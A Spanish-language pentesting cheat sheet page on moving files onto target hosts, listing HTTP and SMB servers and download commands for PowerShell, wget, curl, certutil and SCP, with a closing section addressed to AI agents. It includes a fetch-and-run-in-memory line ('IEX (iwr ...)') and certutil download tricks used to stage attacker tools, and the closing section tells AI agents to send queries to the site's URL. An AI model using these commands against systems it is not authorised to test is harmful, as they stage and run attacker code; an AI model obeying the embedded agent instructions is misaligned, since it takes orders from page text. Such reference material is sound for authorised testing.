# Transferencia de archivos
## Servidor
### Python
```shell
python -m SimpleHTTPServer
python3 -m http.server
```
### PowerShell
```shell
Add-Type -AssemblyName "System.Web";$HTTPListener=New-Object Net.HttpListener;$HTTPListener.Prefixes.Add("http://:/");$HTTPListener.Start();While ($HTTPListener.IsListening){$HC=$HTTPListener.GetContext();$HRes=$HC.Response;$HRes.Headers.Add("Content-Type",[System.Web.MimeMapping]::GetMimeMapping($HC.Request.RawUrl));$Stream=[System.IO.File]::OpenRead((Join-Path $Pwd ($HC.Request.RawUrl)));$HRes.ContentLength64=$Stream.Length;$Stream.CopyTo($HRes.OutputStream);$Stream.Close();$HRes.Close()};$HTTPListener.Stop()
```
## Cliente
### PowerShell
Descarga de archivos.
```powershell
PowerShell -c "IWR -useBasicParsing http://:/ -o "
```
```powershell
Invoke-WebRequest -Uri "http://:/" -OutFile ""
```
```powershell
(New-Object Net.WebClient).DownloadFile("http://:/","")
```
Transferencia y execución de archivo en memoria.
```powershell
IEX (iwr http://:/ -UseBasicParsing)
```
### Wget
```shell
wget http://:/ -O
```
* -O = ruta donde será descargado y cual será el nombre del archivo.
```shell
wget http://:/ -P
```
* -P = ruta donde será descargado el archivo.
### cURL
```shell
curl http://:/ -o
```
### CertUtil
```shell
certutil.exe -urlcache -f http://:/
```
## PowerShell remoting
```powershell
$session = New-PSSession -ComputerName
Copy-Item -ToSession $session -Path C:\\ -Destination C:\
Enter-PSSession -Session $session
ls C:\
```
## SMB
### Impacket
```shell
# Servidor (Linux)
# opción 1
mkdir /tmp/smb-temp && cd /tmp/smb-temp
python /impacket/examples/smbserver.py share . -smb2support -username -password
# opción 2
python /impacket/examples/smbserver.py share $(pwd)
impacket-smbserver share $(pwd)
# Cliente (Windows)
net use \\\share /USER:
copy \\\share\ %TEMP%\
dir %TEMP%
net use \\\share /del
```
## SCP (secure copy)
Subir archivo local a remoto.
```shell
scp @:
```
Descargar archivo remoto a local.
```shell
scp @:
```
## Base64
```shell
# Máquina origen
base64 -w 0 | xclip -sel clip
# Máquina destino
echo "" | base64 -d >
```
## Validación de integridad de archivo
### Linux/Unix
```shell
# MD5
md5sum
# SHA1
sha1sum
```
### Windows
```shell
# MD5
certutil.exe -hashfile MD5
# SHA1
certutil.exe -hashfile
# PowerShell
## MD5
Get-FileHash -Algorithm MD5 | Format-List
## SHA1
Get-FileHash -Algorithm SHA1 | Format-List
## SHA256
Get-FileHash | Format-List
```
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://pentesting.mrw0l05zyn.cl/escalamiento-de-privilegios/transferencia-de-archivos.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.